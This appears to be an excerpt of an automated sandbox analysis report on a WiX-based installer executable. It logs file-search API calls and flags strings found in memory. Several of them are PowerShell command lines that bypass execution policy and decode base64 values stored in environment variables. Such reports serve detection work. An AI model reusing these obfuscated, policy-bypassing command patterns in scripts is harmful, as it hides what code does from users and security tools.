"4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "FindFirstFileW" with parameter %WINDIR%\Temp\{AD6AEC28-EE89-4A68-B865-0B298FBD046A}\MainPkg (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Package Cache\.unverified\*.* (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "FindFirstFileW" with parameter %WINDIR%\Temp\{AD6AEC28-EE89-4A68-B865-0B298FBD046A}\*.* (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "FindNextFileW" with parameter .ba (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "FindNextFileW" with parameter .be (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "FindFirstFileW" with parameter %WINDIR%\Temp\{AD6AEC28-EE89-4A68-B865-0B298FBD046A}\.ba\*.* (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "FindNextFileW" with parameter BootstrapperApplicationData.xml (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "FindNextFileW" with parameter logo.png (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "FindNextFileW" with parameter thm.wxl (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "FindNextFileW" with parameter thm.xml (UID: 00000000-00007280) "4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c.exe" called "FindNextFileW" with parameter wixstdba.dll (UID: 00000000-00007280)5b:T277d,Found string "if (-not $b) { exit 1 } [Text.Encoding]::UTF8.GetString(FromBase64String($b)); z{�2LQ �" (Indicator: "base64"; File: "00000000-00005252") Found string "if (-not $b) { exit 1 } [Text.Encoding]::UTF8.GetString(FromBase64String($b)); z{�2LQ �" (Indicator: "FromBase64String"; File: "00000000-00005252") Found string "if (-not $b) { exit 1 } [Text.Encoding]::UTF8.GetString(FromBase64String($b)); z{�2LS� DA" (Indicator: "base64"; File: "00000000-00001688") Found string "if (-not $b) { exit 1 } [Text.Encoding]::UTF8.GetString(FromBase64String($b)); z{�2LS� DA" (Indicator: "FromBase64String"; File: "00000000-00001688") Found string "if (-not $b) { exit 1 } [Text.Encoding]::UTF8.GetString(FromBase64String($b)); z{�2LCSE�z" (Indicator: "base64"; File: "00000000-00007096") Found string "if (-not $b) { exit 1 } [Text.Encoding]::UTF8.GetString(FromBase64String($b)); z{�2LCSE�z" (Indicator: "FromBase64String"; File: "00000000-00007096") Found string "$b=$env:REDIST_FEED_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))" (Indicator: "base64"; File: "AMSI") Found string "$b=$env:REDIST_FEED_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))" (Indicator: "FromBase64String"; File: "AMSI") Found string "$b=$env:REDIST_FOLDER_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))" (Indicator: "base64"; File: "AMSI") Found string "$b=$env:REDIST_FOLDER_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))" (Indicator: "FromBase64String"; File: "AMSI") Found string "/c powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FEED_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"" (Indicator: "base64"; File: "cmd.exe") Found string "/c powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FEED_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"" (Indicator: "FromBase64String"; File: "cmd.exe") Found string "powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FEED_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"" (Indicator: "base64"; File: "powershell.exe") Found string "powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FEED_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"" (Indicator: "FromBase64String"; File: "powershell.exe") Found string "/c powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FOLDER_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"" (Indicator: "base64"; File: "cmd.exe") Found string "/c powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FOLDER_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"" (Indicator: "FromBase64String"; File: "cmd.exe") Found string "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FOLDER_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"" (Indicator: "base64"; File: "powershell.exe") Found string "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FOLDER_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"" (Indicator: "FromBase64String"; File: "powershell.exe") Found string "/c powershell -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_ENTRY_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"" (Indicator: "base64"; File: "cmd.exe") Found string "/c powershell -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_ENTRY_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"" (Indicator: "FromBase64String"; File: "cmd.exe") Found string "powershell -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_ENTRY_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"" (Indicator: "base64"; File: "powershell.exe") Found string "powershell -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_ENTRY_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"" (Indicator: "FromBase64String"; File: "powershell.exe") Found string "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FOLDER_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"" (Indicator: "base64"; Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp, 00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found string "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FOLDER_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"" (Indicator: "FromBase64String"; Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp, 00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found string ") { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))" (Indicator: "base64"; Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp, 00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found string ") { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))" (Indicator: "FromBase64String"; Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp, 00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found string "$b=$env:REDIST_FOLDER_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))" (Indicator: "base64"; Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp, 00000000-00005780.00000000.162098.55920000.00000004.mdmp, 00000000-00005780.00000000.162098.572B0000.00000004.mdmp, 00000000-00005780.00000000.162098.57A10000.00000004.mdmp, 00000000-00005780.00000001.162312.55770000.00000004.mdmp, 00000000-00005780.00000001.162312.55920000.00000004.mdmp, 00000000-00005780.00000001.162312.572B0000.00000004.mdmp") Found string "$b=$env:REDIST_FOLDER_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))" (Indicator: "FromBase64String"; Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp, 00000000-00005780.00000000.162098.55920000.00000004.mdmp, 00000000-00005780.00000000.162098.572B0000.00000004.mdmp, 00000000-00005780.00000000.162098.57A10000.00000004.mdmp, 00000000-00005780.00000001.162312.55770000.00000004.mdmp, 00000000-00005780.00000001.162312.55920000.00000004.mdmp, 00000000-00005780.00000001.162312.572B0000.00000004.mdmp") Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp, 00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp, 00000000-00005780.00000000.162098.6FA10000.00000004.mdmp, 00000000-00005780.00000001.162312.6FA10000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "base64"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "ToBase64String"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "[-WindowStyle